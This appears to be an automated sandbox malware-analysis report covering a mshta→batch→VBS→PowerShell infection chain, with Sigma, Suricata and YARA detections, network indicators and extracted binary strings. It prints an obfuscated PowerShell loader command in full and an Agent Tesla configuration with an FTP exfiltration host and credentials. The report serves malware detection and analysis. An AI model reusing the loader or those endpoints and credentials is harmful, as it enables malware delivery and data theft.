Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: wscript //nologo "C:\Windows\Temp\octupole.vbs", CommandLine: wscript //nologo "C:\Windows\Temp\octupole.vbs", CommandLine|base64offset|contains: +, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: wscript //nologo "C:\Windows\Temp\octupole.vbs", ProcessId: 7512, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\mshta.exe, ProcessId: 7404, TargetFilename: C:\Windows\Temp\misdivide.bat

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 23.186.113.60, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 7512, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: wscript //nologo "C:\Windows\Temp\octupole.vbs", CommandLine: wscript //nologo "C:\Windows\Temp\octupole.vbs", CommandLine|base64offset|contains: +, Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c C:\Windows\Temp\misdivide.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: wscript //nologo "C:\Windows\Temp\octupole.vbs", ProcessId: 7512, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bl#Hg#a#Bh#HU#cwB0#GU#Z##g#D0#I##n#HQ#e#B0#C4#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##0#DQ#N##2#GU#cwBh#GI#Lw#3#DE#Lg#w#DI#Mg#u#DM#Lg#y#Dk#MQ#v#C8#OgBw#HQ#d#Bo#Cc#Ow#k#HM#bgBp#HQ#d#B5#C##PQ#g#CQ#ZQB4#Gg#YQB1#HM#d#Bl#GQ#I##t#HI#ZQBw#Gw#YQBj#GU#I##n#CM#Jw#s#C##JwB0#Cc#Ow#k#HM#a#Bv#HY#ZQBs#GE#cgBk#C##PQ#g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#DE#M##w#Dc#LgBm#Gk#b#Bl#G0#YQBp#Gw#LgBj#G8#bQ#v#GE#c#Bp#C8#ZgBp#Gw#ZQ#v#Gc#ZQB0#D8#ZgBp#Gw#ZQBr#GU#eQ#9#EU#UwBZ#FQ#aQBU#FI#MwBP#D##MwBF#DU#cQBy#E0#bgBJ#Hk#eQBX#HQ#WQBm#DU#TwBN#EY#VQ#w#G0#YQBr#Hg#TQB1#D##ZQBQ#HE#UgBS#Eo#TgBp#GM#TgBq#EM#Mw#2#GE#O#BU#DI#agBH#GY#VwBU#DY#RgBF#EI#ag#1#HM#JgBw#Gs#XwB2#Gk#Z##9#DM#N##y#Dg#M##z#GQ#MQBj#GM#N#Bl#DM#Yg#4#D##MQ#3#DQ#M##2#DY#Nw#w#DU#M##4#D##YQ#1#GU#Zg#n#Ds#J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#J#Bz#HQ#aQBs#GI#ZQBu#GU#I##9#C##J#Bv#HI#ZwBh#G4#bwBs#GE#bgB0#Gg#YQBu#HU#bQ#u#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#Cg#J#Bz#Gg#bwB2#GU#b#Bh#HI#Z##p#Ds#J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bz#HQ#aQBs#GI#ZQBu#GU#KQ#7#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#CQ#bwBy#Gk#ZwBp#G4#YQBy#Hk#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#C##PQ#g#CQ#ZwBl#HI#dQBu#GQ#aQBh#Gw#b#B5#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQB0#Gg#bQBv#HY#bwBt#GU#cgBp#G4#ZQ#p#Ds#J#Bt#GU#d#Bv#G4#eQBt#HM#I##9#C##J#Bn#GU#cgB1#G4#Z#Bp#GE#b#Bs#Hk#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bv#HI#aQBn#Gk#bgBh#HI#eQ#p#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bt#GU#d#Bv#G4#eQBt#HM#I##t#Gc#d##g#CQ#bgBv#G4#YwBs#G8#d#Bo#Gk#bgBn#Ds#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#I##r#D0#I##k#GU#d#Bo#G0#bwB2#G8#bQBl#HI#aQBu#GU#LgBM#GU#bgBn#HQ#a##7#CQ#cwBw#GE#YwBp#GU#cg#g#D0#I##k#G0#ZQB0#G8#bgB5#G0#cw#g#C0#I##k#G4#bwBu#GM#b#Bv#HQ#a#Bp#G4#Zw#7#CQ#cwB1#GI#agBl#GM#d##g#D0#I##k#Gc#ZQBy#HU#bgBk#Gk#YQBs#Gw#eQ#u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bu#G8#bgBj#Gw#bwB0#Gg#aQBu#Gc#L##g#CQ#cwBw#GE#YwBp#GU#cg#p#Ds#J#Bn#HI#eQBs#Gw#dQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#HM#dQBi#Go#ZQBj#HQ#KQ#7#CQ#YgBh#GM#awBj#Gg#YQBu#G4#ZQBs#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#ZwBy#Hk#b#Bs#HU#cw#p#Ds#J#Bp#G4#YwBs#GU#I##9#C##WwBk#G4#b#Bp#GI#LgBJ#E8#LgBI#G8#bQBl#F0#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#VgBB#Ek#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I#B##Cg#J#Bz#G4#aQB0#HQ#eQ#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#TQBT#EI#dQBp#Gw#Z##n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Cw#Jw#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('#','A'))); In

Suricata Signatures

ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-04T11:56:57.117400+0100	2020423	1	Exploit Kit Activity Detected	192.3.220.17	80	192.168.2.4	49735	TCP

ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-04T11:56:49.533534+0100	2057635	1	A Network Trojan was detected	192.3.220.17	80	192.168.2.4	49735	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-04T11:56:56.106135+0100	2049038	1	A Network Trojan was detected	142.215.209.72	443	192.168.2.4	49734	TCP

ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-04T11:56:49.533534+0100	2858295	1	A Network Trojan was detected	192.3.220.17	80	192.168.2.4	49735	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 5.2.powershell.exe.5e0e358.7.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.rvoccte.com", "Username": "mybloddycockcpanel_owner@rvoccte.com", "Password": "ft]@0i!$%!ho"}

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source: unknown	HTTPS traffic detected: 23.186.113.60:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.215.209.72:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.4:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.4:49841 version: TLS 1.2

Source:	Binary string: dnlib.DotNet.Pdb.PdbWriter+ source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.resourcesuserresourcedatadnlib.dotnetassemblyrefuserdnlib.dotnetresolveexceptiondnlib.dotnet.emitmethodbodyreaderdnlib.dotnet.resourcesresourcewritermicrosoft.win32.taskschedulersnapshotitemdnlib.dotnet.pdbsymbolreadercreatordnlib.peimagesectionheaderdnlib.dotnet.emitlocallistdnlib.dotnet.writermdtablewriterdnlib.dotnetimdtokenproviderdnlib.dotnet.emitmethodbodyreaderbasednlib.dotnetmethodequalitycomparerdnlib.dotnetmdtokendnlib.dotnettypenameparserdnlib.dotnet.writeriheap source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: >.CurrentSystem.Collections.IEnumerator.CurrentSystem.Collections.Generic.IEnumerator<System.Int32>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.UInt32,System.Byte[]>>.get_CurrentSystem.Collections.Generic.IEnumerator<System.Collections.Generic.KeyValuePair<System.String,System.String>>.get_CurrentSystem.Collections.Generic.IEnumerator<T>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CustomAttribute>.get_CurrentSystem.Collections.Generic.IEnumerator<TValue>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.FieldDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MethodDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.EventDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.PropertyDef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.ModuleRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.TypeRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MemberRef>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyRef>.get_CurrentSystem.Collections.Generic.IEnumerator<System.String>.get_CurrentSystem.Collections.Generic.IEnumerator<TIn>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.TaskFolder>.get_CurrentSystem.Collections.Generic.IEnumerator<Microsoft.Win32.TaskScheduler.Trigger>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.CANamedArgument>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.MD.IRawRow>.get_CurrentSystem.Collections.Generic.IEnumerator<dnlib.DotNet.AssemblyResolver. source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnet.mdstreamheaderdnlib.dotnet.mdtableinfodnlib.dotnetmarshalblobreaderdnlib.dotnetitypeormethoddefmicrosoft.win32.taskschedulermonthlydowtriggerdnlib.dotnet.pdbpdbwritermicrosoft.win32.taskschedulertasksettingsmicrosoft.win32.taskschedulertaskserviceversiondnlib.dotneticodedtokendnlib.dotnet.mdrawencmaprowdnlib.dotnet.writeriwritererrordnlib.dotnetimanagedentrypointdnlib.dotnetassemblylinkedresourcednlib.dotnetcablobparserexceptiondnlib.dotnetassemblyattributesdnlib.dotnet.writeritokencreatordnlib.dotnetassemblyresolveexceptiondnlib.dotnetclassorvaluetypesigdnlib.dotnetmethodsigdnlib.dotnetcmodoptsigdnlib.dotnetimplmapmicrosoft.win32.taskschedulertasktriggertypemicrosoft.win32.taskschedulertaskrightsmicrosoft.win32.taskschedulermonthsoftheyeardnlib.pedllcharacteristicsdnlib.dotnetparamattributesdnlib.dotnet.mdicolumnreadersystem.security.accesscontrolaccesscontrolextensionmicrosoft.win32.taskschedulertaskprincipalprivilegesmicrosoft.win32.taskscheduleridletriggermicrosoft.win32.taskscheduler.fluentweeklytriggerbuilderdnlib.dotnetimplmapuserdnlib.dotnet.writerdummymodulewriterlistenermicrosoft.win32.taskschedulerquicktriggertype source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1microsoft.win32.taskscheduleritaskhandlerstatusdnlib.dotnet.writerchunklistbase`1dnlib.iohomednlib.dotneticustomattributednlib.dotnet.pdb.dssisymunmanagedwriter2dnlib.dotnet.writermaxstackcalculatordnlib.dotnet.pdbpdbdocumentusersmicrosoft.win32.taskscheduler.fluentmonthlytriggerbuilderdnlib.dotnet.writerhotpooldnlib.dotneteventattributesdnlib.dotnet.pdb.dsssymbolreadercreatordnlib.dotnet.writermodulewriterbasemicrosoft.win32.taskschedulerpowershellactionplatformoptiondnlib.dotnet.writerioffsetheap`1dnlib.dotnetclasslayoutuserdnlib.dotnet.mdcomimageflagsdnlib.dotnetinterfacemarshaltypemicrosoft.win32.taskschedulertaskeventlogdnlib.dotnetmarshaltypemicrosoft.win32.taskschedulertaskfolderdnlib.dotnet.resourcesresourcereaderexceptionmicrosoft.win32.taskscheduleractioncollectiondnlib.ioioextensionsdnlib.dotnet.writerchunklist`1dnlib.dotnet.emitexceptionhandlertypednlib.dotnet.mddotnetstreamdnlib.dotnetfieldattributesdnlib.dotnetparamdefdnlib.dotnetimemberrefresolverdnlib.dotnet.writerpeheadersdnlib.dotnet.writerwin32resourceschunkmicrosoft.win32.taskschedulernotv1supportedexceptioncronfieldtypednlib.dotnet.writermethodbodychunksdnlib.dotnetcaargumentmicrosoft.win32.taskscheduleritriggeruseriddnlib.dotnetloggereventdnlib.utilsmfunc`3dnlib.dotnetsecurityactiondnlib.dotnet.pdb.dsssymbolwritercreatordnlib.ioibinaryreadermicrosoft.win32.taskschedulersessionstatechangetriggerdnlib.dotnetassemblydefdnlib.dotneticustomattributetypednlib.dotnetmemberrefresolveexceptionmicrosoft.win32.taskschedulertaskcompatibilityentrydnlib.threadingenumerableiteratealldelegate`1dnlib.dotnet.mdridlistdnlib.dotnet.resourcesresourcereadermicrosoft.win32.taskschedulertaskdefinitiondnlib.dotnet.emitcodednlib.dotnetcmodreqdsigdnlib.dotnet.pdbpdbimpltypednlib.utilsilazylist`1dnlib.dotnet.emitflowcontroldnlib.dotnetleafsigdnlib.dotnetcanamedargumentdnlib.peimagefileheaderdnlib.dotnetisignaturereaderhelperdnlib.dotnet.mdheaptypednlib.dotnetvaluearraysigdnlib.dotnettypedefuserdnlib.dotnet.writerimdtablednlib.dotnet.resourcesresourcedatacreatordnlib.dotnet.mdrawmodulerefrowdnlib.dotnet.writercor20headeroptionsdnlib.dotnettypesigdnlib.dotnetalltypeshelper<>c__5`1microsoft.win32.taskschedulermonthlytriggerdnlib.dotnetmethoddefuserdnlib.dotnet.mdmetadataheaderdnlib.dotnet.emitopcodednlib.dotnetihassemanticdnlib.dotnetinterfaceimpldnlib.dotnetitokenoperanddnlib.dotnetidnlibdefmicrosoft.win32.taskschedulercomhandleractiondnlib.dotnetfullnamecreatordnlib.dotnetimethoddecrypterdnlib.dotnet.mdrawrowequalitycomparerdnlib.threadinglistiteratealldelegate`1microsoft.win32.taskscheduleritriggerdelaydnlib.dotnetpropertysigdnlib.dotnetassemblyresolverdnlib.dotnetstrongnamesignerdnlib.dotnetfixedarraymarshaltypednlib.dotnet.pdbpdbscope source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1dnlib.dotnetstandalonesiguserdnlib.dotnetihasdeclsecuritydnlib.dotnetutf8stringequalitycomparerdnlib.dotnet.pdbpdbstatednlib.dotnet.writermetadataheaderoptionsdnlib.dotnet.mdrawconstantrowdnlib.dotnetdeclsecurityusermicrosoft.win32.taskschedulertaskprincipaldnlib.dotnet.writermodulewriterexceptiondnlib.dotnet.pdbisymbolwriter2microsoft.win32.taskschedulertasksetsecurityoptionsmicrosoft.win32.taskschedulertaskeventwatcherdnlib.dotnetbyrefsigdnlib.dotnetptrsigdnlib.dotnet.mdrawtyperefrowdnlib.dotnetgenericargumentsdnlib.dotnetimemberdefdnlib.dotnetpropertyattributesdnlib.dotnettypeequalitycomparerdnlib.dotnetconstantuserdnlib.dotnet.mdraweventptrrowdnlib.dotnetimporteroptionsdnlib.dotnetfiledefuserdnlib.dotnet.writerblobheapdnlib.dotnetgenericparamconstraintuserdnlib.dotnetpublickeybasednlib.dotnetmodulesigeventfilterdnlib.dotnetaccesscheckerdnlib.dotnetclasssigdnlib.dotnetmanifestresourceattributesdnlib.threadingicancellationtokendnlib.dotnet.mdrawfieldmarshalrowdnlib.dotnet.mdstorageflagsdnlib.dotnetassemblyrefdnlib.dotneteventdefuserdnlib.dotnetmodulecontextdnlib.dotnetimportresolverdnlib.dotnetiresolutionscopednlib.dotnet.resourcesuserresourcetypednlib.dotnetmethodoverridednlib.dotnet.mdimagecor20headerdnlib.dotnet.writerstartupstubdnlib.dotnetrecursioncountermicrosoft.win32.taskscheduler.fluentbasebuilderdnlib.pervadnlib.threadingenumerableiteratedelegate`1microsoft.win32.taskschedulertaskaccessrulednlib.dotnet.writermetadataeventdnlib.dotnetiistypeormethoddnlib.dotnetmoduledefuserdnlib.dotnet.emitlocaldnlib.dotnet.resourcesbuiltinresourcedatamicrosoft.win32.taskschedulertriggercollectiondnlib.dotnetarraysigdnlib.dotnetcustomattributereaderdnlib.dotnetinterfaceimplusermicrosoft.win32.taskschedulertriggermicrosoft.codeanalysisembeddedattributednlib.dotnet.mdrawfieldlayoutrowmicrosoft.win32.taskschedulertaskprincipalprivilegednlib.utilsextensionsdnlib.dotnet.mdrawassemblyrowdnlib.dotnet.mdrawparamrowdnlib.dotnetmemberrefdnlib.dotnetihasconstantdnlib.dotnetmethodimplattributesdnlib.dotneticorlibtypesdnlib.dotnet.writermethodbodywriterdnlib.dotnetihascustomattributednlib.dotnet.emitinstructiondnlib.dotnet.mdrawtypedefrowdnlib.dotnetiscope source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdbimage_debug_directory source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.pepeimagemicrosoft.win32.taskschedulerregistrationtriggermicrosoft.win32.taskschedulerdaysoftheweekmicrosoft.win32.taskschedulertaskrunflagsdnlib.dotnet.mdrawparamptrrowdnlib.dotnet.writerichunkdnlib.dotnet.resourcescreateresourcedatadelegatednlib.dotnet.mdrawmethodrowdnlib.dotnet.mdrawenclogrowmicrosoft.win32.taskschedulertaskeventenumeratordnlib.dotnet.writericustomattributewriterhelperdnlib.peiimageoptionalheaderdnlib.dotnet.writermodulewriterdnlib.threadingthreadsafelistcreatordnlib.dotnet.mdrawfieldrvarowdnlib.dotnet.writerhotheap20dnlib.dotnet.mdcolumnsizednlib.dotnet.mdrawassemblyprocessorrowdnlib.dotnet.writerdeclsecuritywriterconnectiontokendnlib.dotnet.writeruniquechunklist`1microsoft.win32.taskschedulertaskrunleveldnlib.dotnettypespecdnlib.dotnet.mdrawimplmaprowdnlib.dotnet.writermodulewriteroptionsdnlib.threadingextensionsdnlib.peipeimagednlib.dotnetinvalidkeyexceptiondnlib.dotnetfileattributesmicrosoft.win32.taskschedulerlogontriggerdnlib.dotnet.mdrawgenericparamconstraintrowdnlib.dotnet.writerhotheap40dnlib.dotnetmodulerefdnlib.dotnetsigcomparerdnlib.dotnet.writermetadatadnlib.dotnet.pdbsequencepointdnlib.dotnet.pdb.managedpdbexceptiondnlib.peimagentheadersdnlib.pemachinednlib.peimageoptionalheader64dnlib.dotnettypedefdnlib.dotnetvaluetypesigdnlib.dotnetbytearrayequalitycomparerdnlib.dotnetpropertydefuserdnlib.dotnet.writertablesheapdnlib.dotnet.mdrawmemberrefrowdnlib.dotnet.writerhottablednlib.dotnetconstantdnlib.dotnetassemblydefuserdnlib.dotnetmodulerefuserdnlib.dotnetexportedtypednlib.iofileoffsetdnlib.dotnet.mdrawfieldptrrowdnlib.dotnet.writerimportaddresstablednlib.dotnet.mdrawmethodptrrowdnlib.dotnet.mdrawinterfaceimplrowdnlib.dotnet.emitmethodutilsdnlib.dotnetcallingconventionsigdnlib.peimageoptionalheader32dnlib.dotnet.emitiinstructionoperandresolverdnlib.dotnetcustomattributecollectionmicrosoft.win32.taskschedulertsnotsupportedexceptiondnlib.dotnetitypednlib.dotnettypedeforrefsigdnlib.w32resourcesresourcedirectoryuserdnlib.dotnet.emitinstructionprintermicrosoft.win32.taskschedulerwildcardmicrosoft.win32.taskschedulercustomtriggerdnlib.w32resourcesresourcedirectorypemicrosoft.win32.taskscheduler.fluentintervaltriggerbuildermicrosoft.win32.taskschedulerresourcereferencevaluednlib.dotnet.pdb.managedsymbolreadercreatordnlib.dotnet.mdcodedtokendnlib.dotnetassemblynameinfodnlib.dotnet.emitstackbehaviourmicrosoft.win32.taskschedulertaskstatednlib.dotnet.mdrawmodulerowdnlib.dotnet.pdb.dssisymunmanageddocumentwritermicrosoft.win32.taskschedulertaskcompatibilitydnlib.dotnet.emitinvalidmethodexceptiondnlib.dotnetnullresolverdnlib.dotnetdeclsecuritydnlib.dotnet.emitdynamicmethodbodyreaderdnlib.dotnet.mdrawcustomattributerowdnlib.dotnet.resourcesresourceelementdnlib.dotnet.writerrelocdirectorydnlib.w32resourceswin32resourcespednlib.dotnetsigcompareroptionsdnlib.dotnet.mdrawmethodimplrowdnlib.dotnetsafearraymarshaltypednlib.dotnet.mdrawclasslayoutrowdnlib.dotnet.writerpeheadersoptionsmicrosoft.win32.taskschedulernamedvaluecollecti
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.dss source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: `1taskprincipalprivilegesenumeratordnlib.dotnetifullnamemicrosoft.win32.taskscheduler.fluentactionbuilderdnlib.dotnet.mdmdheaderruntimeversionmicrosoft.win32.taskschedulerrunningtaskcollectiondnlib.dotnetframeworkredirectelemdnlib.dotnet.emitistringresolverdnlib.dotnet.writernativemodulewriteroptionsdnlib.dotnet.pdb.managedpdbreadermicrosoft.win32.taskschedulertaskfoldercollectiondnlib.dotnetcallingconventionmicrosoft.win32.taskschedulertaskfoldersnapshotdnlib.iotoolsdnlib.dotnetiassemblydnlib.dotnetparamdefuserdnlib.dotnet.mdrawdeclsecurityrowdnlib.dotnet.writernativemodulewriterdnlib.dotnetmethodbasesig<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>c<>cmicrosoft.win32.taskschedulerrepetitionpatterndnlib.dotnetiassemblyreffindermicrosoft.win32.taskschedulericalendartriggerdnlib.dotnetmanifestresourcednlib.dotnet.writerimportdirectorymicrosoft.win32.taskschedulertaskservicednlib.dotnet.mdrawpropertymaprowmicrosoft.win32.taskschedulertaskinstancespolicymicrosoft.win32.taskscheduleritaskhandlerdnlib.dotnetparameterdnlib.dotnetitypedeffinderdnlib.dotnetsignaturereadermicrosoft.win32.taskschedulerboottriggerdnlib.dotnet.mdrawgenericparamrowdnlib.dotnet.writerimetadatalistenerdnlib.dotneteventequalitycomparerdnlib.dotnet.mdcolumninfodnlib.dotnetfieldsigdnlib.ioiimagestreamdnlib.threadinglistiteratedelegate`1dnlib.dotnetassemblynamecomparerflagsdnlib.dotnet.mdrawmethodsemanticsrowdnlib.dotnetpublickeydnlib.dotnetgenericsig source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdbsymbolwritercreator source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000005.00000002.1882706332.00000000095E5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000005.00000002.1853721064.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1875380332.00000000093E0000.00000004.08000000.00040000.00000000.sdmp

Spreading

Yara detected VBS Downloader Generic

Source: Yara match

File source: C:\Windows\Temp\octupole.vbs, type: DROPPED

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound : 192.3.220.17:80 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 192.3.220.17:80 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 192.3.220.17:80 -> 192.168.2.4:49735
